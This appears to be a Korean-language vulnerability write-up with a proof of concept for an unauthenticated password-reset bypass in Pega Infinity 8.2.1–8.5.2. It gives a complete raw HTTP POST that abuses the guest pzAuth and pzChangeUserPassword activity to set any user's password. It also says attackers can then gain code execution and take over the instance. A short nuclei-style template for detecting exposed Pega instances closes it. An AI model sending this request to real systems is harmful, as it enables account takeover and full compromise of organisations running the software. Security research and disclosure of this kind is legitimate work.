
비밀번호 재설정 절차의 모든 단계를 우회
공격자는 비밀번호 재설정 흐름의 모든 단계를 우회하고 Pega Infinity에서 임의 사용자의 계정을 재설정할 수 있습니다. 이는 (1) 비밀번호 재설정 흐름을 시작하고 피해자의 이메일을 입력한 다음, (2) HTTP POST 요청이 통과하도록 강제하여 비밀번호를 업데이트하는 방식으로 이루어집니다. 공격자는 새로 변경된 계정으로 로그인한 후, 허용되는 다양한 인증 후 코드 실행 벡터(동적 페이지 수정, 템플릿 등)를 통해 Pega 인스턴스를 완전히 장악할 수 있습니다.
POST /prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD HTTP/1.1 (:PEGA_ID is a unique ID for each site, it is in this format: ZOgwf2Zk3OsEg_oG74MXXxG2bXKbv56W)
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: https://redacted.com
DNT: 1
Connection: close
Referer: https://redacted.com/prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD
Cookie: yourCookie
Upgrade-Insecure-Requests: 1
pzAuth=guest&NewPassword=Rules%401234&ConfPassword=Rules%401234&pyActivity%3DCode-Security.pzChangeUserPassword=
[email protected] / Rules@1234
Pega Infinity >= 8.2.1 Pega Infinity <= 8.5.2
사전 지식 없이 모든 Pega 인스턴스를 완전히 장악할 수 있습니다.


id: pega
info:
name: Pega Infinity Login
author: sshell
severity: low
requests:
- method: GET
path:
- "{{BaseURL}}/prweb/PRRestService/unauthenticatedAPI/v1/docs"
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
matchers:
- type: word
words:
- "Pega API"
Andri Wijayanti (@andridev_),